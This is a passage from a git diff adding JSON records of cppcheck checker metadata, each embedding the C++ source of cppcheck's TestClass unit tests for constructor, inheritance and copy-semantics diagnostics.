{\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkVirtualFunctionCallInConstructor.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkVirtualFunctionCallInConstructor.json new file mode 100644 index 0000000..d3035cd --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkVirtualFunctionCallInConstructor.json @@ -0,0 +1,22 @@ +{ + "name": "checkVirtualFunctionCallInConstructor", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 27, + "branches": 9, + "apis": 30, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 8231 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" 